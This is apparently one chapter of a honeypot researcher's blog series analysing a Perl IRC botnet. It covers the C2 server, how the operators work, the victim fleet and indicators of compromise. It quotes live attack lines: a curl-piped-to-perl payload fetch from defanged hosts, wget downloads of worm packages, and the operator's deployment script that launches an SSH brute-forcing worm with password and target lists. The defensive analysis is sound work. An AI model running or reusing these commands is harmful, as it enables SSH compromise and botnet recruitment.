ksmd-ezo · Chapter 38
Listening to SEC
For days, my probe gets the same visit every time: it comes in over SSH, asks what system it is and how many cores it has, and downloads a Perl script. That Perl script connects to a chat channel. I sat in the channel and listened to who was giving the orders, what the orders were, and how many machines were listening.
For days, my probe gets the same visit. A machine comes in over SSH with a username and a password, different every time, and before doing anything else it asks two things: what system this is and how many cores it has.
/bin/sh -c 'U=$( (command -v uname >/dev/null 2>&1 && uname -a) || head -1 /proc/version 2>/dev/null );
N=$( (command -v nproc >/dev/null 2>&1 && nproc) || grep -c ^processor /proc/cpuinfo 2>/dev/null );
printf "%s CPU:%s" "$U" "$N"' ; trueIf it likes the answer, it sends a second command and leaves:
sh -c 'curl -sS hxxp://120.29.153[.]123/ezo|perl >/dev/null 2>&1 &'Not one command more. It doesn't look at what's on the machine, doesn't go looking for other users, doesn't stay. The command is identical, character for character, across thousands of sessions from more than a hundred and fifty different addresses.
The souvenir it leaves behind is a Perl script, ezo. It doesn't mine, it doesn't open backdoors. The first thing it does when it starts is connect to a chat server.
ksmd-ezo the Perl IRC bot that takes the orders
- sha256
- 4bd6aacf6260288f259223cc6396e89fead821f60da3b816575a59af0aa23aeb (the modular bot, 14.5 KB)
- Type
- Perl; two different programs under the same name, a ShellBot 0.2a and a modular bot
- C2
- 185.237.15.103, IRC on port 80, server hub.60754.net
- Operators
- SEC and ZEC
- How it arrives
- over SSH, through weak passwords, brought in by the worm in the next chapter
01Two Perl scripts for the same channel
Under the same address, /ezo, the probe collected two programs that look nothing alike.
The first is a ShellBot, a family of Perl IRC bots that has been passed from hand to hand for decades. This one calls itself version 0.2a, weighs about 28 KB and has its comments in Portuguese. It's inherited code: it does a bit of everything, and in the process list it passes itself off as Apache, /usr/local/apache/bin/httpd -DSSL. Within a few days three editions arrived that differ in a single line, the one with its server's port: 80, then 22, then 587. Same IP. Three ports any firewall lets out, because they look like web, SSH and mail. Inside, it's all IRC.
The second is more interesting. It's a small bot, 14.5 KB, split into modules and stripped down to the bare minimum: join the channel, take orders and hand them to Bash. It disguises itself as a kernel thread, [kworker/2:51S], which in the process list passes for one of the many that Linux starts by default. It has no persistence: if the machine reboots, it's gone until the worm gets in again.
And it speaks Romanian. Not in library strings or compiler leftovers: these are messages its author wrote.
Bot background pornit # bot started in the background
Oprit prin semnal # stopped by a signal
Cod iesire # exit codeI searched public code for those phrases and they don't show up: this bot isn't copied from any repository. It's the most direct clue in the whole case about who wrote it, and even so it's a clue about the language of whoever wrote a program, not about the passport of whoever runs it.
Both Perl scripts point to the same server and obey the same two names: SEC and ZEC.
02A server that doesn't answer
And at this point, I took them up on the invitation and started listening.
A normal IRC server tells you its life story the moment you register: version, the modes it supports, how many users there are, a message of the day. Not this one. It welcomes you twice, the second time with a Login: that looks like a template missing its value, and an empty message of the day. After that, a heartbeat every three hundred seconds exactly. And nothing else.
T 00:00:00 :hub.60754.net 001 xxx88445 :xxx88445!xxx31499@<IP>
T 00:00:00 :hub.60754.net 001 xxx88445 :Login:
T 00:00:00 :hub.60754.net 376 xxx88445 :
T 00:05:01 PING :hub.60754.net
T 00:05:01 PONG :hub.60754.net
T 00:10:01 PING :hub.60754.net
T 00:10:01 PONG :hub.60754.netThe questions you'd use to get your bearings (who's in the channel, which channels exist, who a given user is, what version is running) get no answer. None at all. The server understands only what it takes for a bot to register, join a channel, receive messages and stay alive.
It doesn't match any public IRC server. It's a custom-built program, and its silence has a consequence: since it says nothing until the client registers, the search engines that crawl the internet cataloguing servers go right past it and see nothing. Neither Shodan nor Censys has it on file. The channel where the work is handed out was created on 4 November.
There's one more detail. In the channel, every bot shows up with its real address. The operator doesn't:
:SEC!SEC@localhost PRIVMSG #c :!u cd /dev/shmlocalhost. SEC connects from the server machine itself, or through a tunnel that leads to it. Their address never appears in the channel.
03SEC at work
Orders start with !u, and what follows is raw Bash that every bot runs as is. No panel, no buttons. Just someone typing line by line, with their hurry and their habits: to kill a process they use three methods in a row, in case one fails. This is a deployment, trimmed:
!u cd /dev/shm # into memory
!u rm -rf .vnmvuvweuxxuxuqwe # deletes last time's directory
!u killall -9 ksmd > /dev/null 2>&1
!u pkill -9 -f ksmd > /dev/null 2>&1
!u kill -9 $(ps aux | grep -E 'ksmd' | grep -v grep | awk '{print $2}')
!u mkdir .jmhxxkxjqweqweqg
!u cd .jmhxxkxjqweqweqg
!u wget 66.116.196[.]142/is.tgz > /dev/null 2>&1 & # the same package,
!u wget 120.29.153[.]123/is.tgz > /dev/null 2>&1 & # from three servers
!u wget 47.96.134[.]111/is.tgz > /dev/null 2>&1 & # at once
!u pkill -9 -f wget > /dev/null 2>&1 # and cuts off any downloads still hanging
!u tar zxvf is.tgz > /dev/null 2>&1
!u cd is
!u chmod +x ksmd
!u cat cud >pass.txt # a dictionary
!u cat iosi >ips.txt # a target list
!u ./ksmd -c 2000 -t 7 -s >/dev/null 2>&1 & # and the worm out the doorThe package carries a program, ksmd, and its ammunition: a file of usernames and passwords and another of addresses. ksmd is the worm that got into my probe, the one that asks about the cores and leaves the curl …/ezo|perl behind, and it's the subject of the next chapter. Three minutes later, in the same channel, they download and start another piece, lab, which is the one in chapter 40.
I listened to that whole afternoon. No times of day: the campaign is still live. Counted from when they set up the worm's first launch, and with what they actually typed:
# launches the worm: dictionary cud, list iosi
T 00:00:00 !u cat cud >pass.txt
T 00:00:08 !u cat iosi >ips.txt
T 00:00:14 !u ./ksmd -c 2000 -t 7 -s >/dev/null 2>&1 &
# downloads and starts lab
T 00:03:33 !u wget 66.116.196[.]142/lab > /dev/null 2>&1 &
T 00:04:55 !u ./lab >/dev/null 2>&1 &
# kills ksmd and relaunches it the same way, changing nothing
T 00:58:20 !u pkill -9 -f ksmd > /dev/null 2>&1
T 00:58:34 !u ./ksmd -c 2000 -t 7 -s >/dev/null 2>&1 &
# downloads and starts labb, the next version of lab
T 01:11:48 !u wget 103.191.243[.]96/labb >/dev/null 2>&1 &
T 01:13:19 !u ./labb > /dev/null 2>&1 &
# downloads another ksmd build and relaunches
T 01:34:28 !u wget 120.29.153[.]123/ksmd > /dev/null 2>&1 &
T 01:47:07 !u ./ksmd -c 2000 -t 7 -s >/dev/null 2>&1 &
# new dictionary, pel
T 02:20:47 !u wget 120.29.153[.]123/pel > /dev/null 2>&1 &
T 02:21:26 !u cat pel >pass.txt
# new list, jias, and adds cud to the dictionary
T 02:26:36 !u cat jias >ips.txt
T 02:26:41 !u cat cud >>pass.txt
# another list, ijj
T 02:31:04 !u cat ijj >ips.txt
# deletes every copy of ksmd that wget had been saving, and relaunches
T 02:33:33 !u rm -rf ksmd
T 02:33:34 !u rm -rf ksmd.1
T 02:33:35 !u rm -rf ksmd.2
T 02:33:35 !u rm -rf ksmd.3
T 02:33:36 !u rm -rf ksmd.4
T 02:33:37 !u rm -rf ksmd.5
T 02:33:37 !u rm -rf ksmd.6
T 02:33:38 !u rm -rf ksmd.7
T 02:34:58 !u ./ksmd -c 2000 -t 7 -s >/dev/null 2>&1 &
# raises the concurrency
T 02:38:51 !u ./ksmd -c 3000 -t 5 -s >/dev/null 2>&1 &
# starts downloading files from one of their own bots
T 03:37:09 !u wget hxxp://203.18.158[.]143:81/exe >/dev/null 2>&1 &
# asks the fleet about NVIDIA graphics cards
T 06:39:20 !u whereis nvidia-smi
# dictionary las
T 07:22:22 !u cat las >pass.txt
# dictionary uas
T 10:20:58 !u cat uas >pass.txtThe deletion at T 02:33 has a story behind it. When they downloaded the second build, wget found a ksmd already in the directory and saved the new one as ksmd.1. The launch command kept starting the old one, and for almost an hour the fleet ran the binary they thought they had retired. I saw it from the probe: sessions with the old build's fingerprint kept arriving. Until SEC deleted ksmd.1 through ksmd.7 and relaunched. Nine seconds later the probe got the first session from the new build. How they noticed, I don't know. I have a suspicion, which I'll get to in the next chapter.
The lists tell you where they're looking. That afternoon's dictionaries carry Chinese names in pinyin, Japanese names and Korean ones, the last with usernames taken from .co.kr domains, and the lists move from China to Japan and Korea. And there's a different one, las, with pairs like gpu:gpu5000 or dell:dell10000: they're looking for servers with a graphics card. That same afternoon they ask the whole fleet whether anyone has nvidia-smi. Six bots answer that they don't. What they want them for, I don't know: the miner they hand out uses the CPU, not the graphics card.
Since the bot sends whatever comes out on screen back to the channel, you can hear the victims too. Errors in Korean, and in Spanish:
chmod: no se puede acceder a «ksmd»: No existe el fichero o el directorio
cat: jias: No such file or directory # some forty bots at once
rm: cannot remove 'ksmd': Permission denied
sh: /bin/chmod: Permission denied
/bin/sh: /usr/bin/ps: Permission denied
coreutils: unknown program 'fileDgm0SI'The last four come from machines where someone had already been tinkering: files that can't be deleted, a chmod or a ps with no execute permission, a chmod swapped for something else. It could be an administrator fighting back, an antivirus, or another attacker who got there first and shut the door behind them. This botnet isn't conquering virgin machines: it's fighting over machines that are already contested.
And what SEC orders isn't what every bot does. There's one that spends the whole day on a build from two days earlier, as if it hadn't heard a thing.
04The channel's clock and the probe's
What I hear in the channel and what reaches the probe are two different clocks, and they line up to the second.
killall -9 ksmd sessions from that build drop from ~26 an hour to zero
cat ijj >ips.txt, cat pel >pass.txt 12 s after the relaunch, the first new session,
with a password that is only in pel
cat cud >>pass.txt 16 s after the relaunch, the first credential
that is only in cudThat's what ties the two halves of the story together. The bots that obey in the channel are the ones knocking on my door, and a dictionary change shows up on the probe between twelve seconds and a couple of minutes later.
05The fleet
The question that matters in a channel like this is how many are listening. Asked the right question, 408 bots answered. Two days later, just listening to what the bots replied to SEC's orders, I identified 102, and 47 of them weren't on the earlier list. That's a low count: you only hear the ones that fail out loud.
Close to fifty countries, with China at the top and Germany second. And not at random: a handful of cheap clouds and hosting providers account for a good part of the fleet, with Tencent, Contabo and Alibaba in front. It fits the way the worm gets in, which doesn't exploit any flaw: it tries passwords. Where there are lots of servers with SSH open and a weak password, lots of them fall.
Looking at what each machine publishes about itself, these are real servers, not home computers. Websites, above all. More than a hundred with a full mail server, several dozen with the panel of a large corporate mail suite, databases peeking out onto the internet. And plenty of unsupported software, the kind nobody updates anymore. Among them are the mail servers of local governments in several countries in the Americas, Africa and Asia, some healthcare, a fire department, the odd bank and several schools and universities. I'm not naming them. They're victims, and the notifications go out with this chapter.
And the worm eats its own tail. Of the 154 bots that attacked my probe with the worm, 126 are in the fleet: the fleet that takes orders is the same one that goes out recruiting. And many of them were previously on the campaign's target lists: of the 117 Chinese bots, 71 appear in the big list, when about 19 would by chance. It's not proof, because a list of machines with SSH open favours, by definition, the ones that have SSH open, but it's a strong indication of what it looks like: yesterday's victim is today's attacker.
06It didn't start in November
My probe saw the first sessions on 6 November, and the channel dates from the 4th. For a few days I thought that was the beginning. It isn't.
The first thing I did was check whether anyone had seen it before, and they had. The ezo URLs were in URLhaus, the public database of malware URLs, reported by other people's honeypots: the first on 10 October. And VirusTotal had dozens of related files, uploaded by others, with low detections. I didn't discover this. What I did was follow the thread backwards.
The thread is long. The dates below are when a sandbox analysed each sample, not when it started circulating, so they're lower bounds: the operation is at least this old.
August-September 150.242.14.129 a compiled IRC bot, bobs, talks to it from 8 August;
it's a compromised third-party machine, which in November
also shows up as a bot in the fleet
5 October 103.114.163.234 bobs is already talking to this one
16 October 103.114.163.234 and so is the modular Perl bot
27 October 185.247.117.88 the same modular bot, another server
November 185.237.15.103 the current oneThe three samples of the modular bot are nearly identical: it's a single bot that changes command server twice in three weeks. And since the compiled bot and the Perl one share a server, they're the same operation. The ShellBot has a past too: on 9 September the same edition the probe collected in November was already circulating. There's a hint that takes it back to late July, a Perl script called zed, but ShellBot is a public family and what links it is the name, not the code. I'll stick to what's solid: since early August at least.
In September, on top of that, someone tried to spread that zed by mail. In a public summary of a Postfix server's logs from that date there's a recipient that isn't an address: it's a command to download /zed and pipe it to Perl, dressed up as a monitoring alert. The server rejected it. It proves the attempt, not that it worked anywhere.
File distribution hangs off compromised third-party machines, and they change as they fall. One of those servers was already serving ezo on 10 October, and SEC was still using it a month later. Another, the one on port 81 that SEC was downloading their files from that afternoon, is a bot from their own fleet, and had been serving ezo since 5 November. The victims don't just mine: they also act as their storage.
Command is a different matter. The last two IRC servers are on Kamatera VPSs, one in the Netherlands and the current one in Germany, and the same provider hosts the machine that collects every access the worm gets, which I'll cover in the next chapter. What the operator needs to keep under control, they keep on machines they rent. What only serves for distribution, on other people's machines.
07Indicators
The worm's indicators are in chapter 39 and the miner's in 40. These are the ones for the IRC command channel.
| Type | Value |
|---|---|
| C2 (IRC, November) | 185.237.15.103 · port 80 (earlier 22 and 587) · IRC without TLS · the server introduces itself as hub.60754.net · channels #ppp (ShellBot), #www (modular bot) and #c (orders) |
| Earlier C2s | 185.247.117.88:80 (analysed 27 Oct) · 103.114.163.234, port 22 and also 80, 587, 2087 and 8443 (analysed 5 and 16 Oct) · 150.242.14.129, several ports, for the compiled bot bobs (analysed 8 Aug to 28 Sep; compromised third-party machine) |
| Operators | SEC and ZEC · in the channel, SEC!SEC@localhost |
| Orders | !u prefix followed by Bash · work in /dev/shm in hidden, randomly named directories · ammunition in pass.txt and ips.txt |
| On the victim | reconnaissance with uname -a + nproc ending in printf "%s CPU:%s", then curl -sS hxxp://<server>/ezo|perl or wget -qO - …|perl |
| ezo distribution | hxxp://120.29.153[.]123/ezo · hxxp://49.233.135[.]115/ezo · hxxp://103.191.243[.]96/ezo · hxxp://66.116.196[.]142/ezo (since 10 Oct) · hxxp://203.18.158[.]143:81/ezo (since 5 Nov) |
| Distribution (compromised third-party machines) | 47.96.134.111 · 66.116.196.142 · 103.191.243.96 · 120.29.153.123 · 49.233.135.115 · 203.18.158.143:81 · files is.tgz, ksmd, lab, labb, allx.gz and dictionaries |
| Process disguise | [kworker/2:51S] (modular bot) · /usr/local/apache/bin/httpd -DSSL (ShellBot) |
| Bot nicknames | xxx followed by digits |
| Strings (modular bot) | Bot background pornit · Oprit prin semnal · Cod iesire |
| SHA-256 | modular bot 4bd6aacf6260288f259223cc6396e89fead821f60da3b816575a59af0aa23aeb and 1d89c9edfb5e82ad0a7837f62379984d516242eb97353cac0fa5492bc64e60cd · ShellBot 0.2a, port 80 a22dd39e20e1226acc135cb3f099fe2f5fee117b739029cae1e431fa4fe7bf8d · port 22 5118c9241a7bb225bf4fbeb245aeb535c3fbe8f3b7a26e9e19cb728f9672e259 · port 587 a6a1db442e108a8d5037f27f45a69b3f4a5cab87ea64630e451966dbb8bc3ead |
Of all this, the IPs go stale first: the command server has changed three times since October and distribution changes every few days. What lasts is the behaviour: a [kworker/2:51S] that isn't a kernel thread, with a connection open to a port that speaks IRC. And if someone kills it, the bot says goodbye in Romanian: Oprit prin semnal.
To be continued - the package SEC hands out carried the program that knocks on my door. I opened it. 🍯
Comments